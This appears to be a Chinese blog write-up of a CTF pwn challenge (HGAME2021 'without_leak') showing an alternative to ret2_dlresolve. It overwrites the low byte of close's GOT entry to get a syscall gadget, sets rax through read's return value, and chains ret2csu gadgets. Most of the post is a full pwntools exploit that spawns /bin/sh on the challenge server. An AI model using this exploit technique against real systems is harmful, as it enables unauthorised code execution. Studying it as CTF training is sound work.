Single

ret2_dlresolve非常规解法

适用于程序中存在底层syscall调用函数,如:read,write,close等函数

而大部分考察ret2_dl的题目基本上都会采用read读取。

例:HGAME2021 week3 without_leak

程序简单粗暴,显然是想考察ret2_dlsolve,输出流和错误流全关是为了防止常规ROP(其实也没防住)

首先需要知道一个知识点:read函数结束后,rax寄存器(即函数返回值)为读取的字符串长度

因此,我们可以通过控制字符串的读取来达到控制rax寄存器的目的

至于syscall,则可以由地位覆盖read或者close等函数的got表来实现

&read+0xF和&close+0x12即为syscall,并且根据libc库函数地址后三位固定的特点,直接将函数got表低位覆盖即可以获得syscall

之后就是常规的csu一把梭了,注意读取需要控制缓冲区

from pwn import*
r=remote('182.92.108.71',30483)
#r=process('./main')
context(os='linux',arch='amd64',log_level='debug')
read_got=0x404030
setbuf_got=0x404020
close_got=0x404028
pop_rdi=0x401243
syscall=0x401185
main=0x401156
csu1=0x40123A
csu2=0x401220
r.recvline()
payload=''
payload+=p64(csu1)
payload+=p64(0)
payload+=p64(1)
payload+=p64(0)
payload+=p64(close_got)
payload+=p64(1)
payload+=p64(read_got)
payload+=p64(csu2)
payload+='a'*0x8
payload+=p64(0)
payload+=p64(1)
payload+=p64(0)
payload+=p64(0x404088)
payload+=p64(59)
payload+=p64(read_got)
payload+=p64(csu2)
payload+='a'*0x8
payload+=p64(0)
payload+=p64(1)
payload+=p64(0x404088)
payload+=p64(0)
payload+=p64(0)
payload+=p64(close_got)
payload+=p64(csu2)
r.send(('\x00'*0x28+payload).ljust(0x200,'\x00'))
r.send('\xa2')
r.send('/bin/sh\x00'+'a'*0x33)
r.interactive()

下载:

程序 exp

暂无评论

发表评论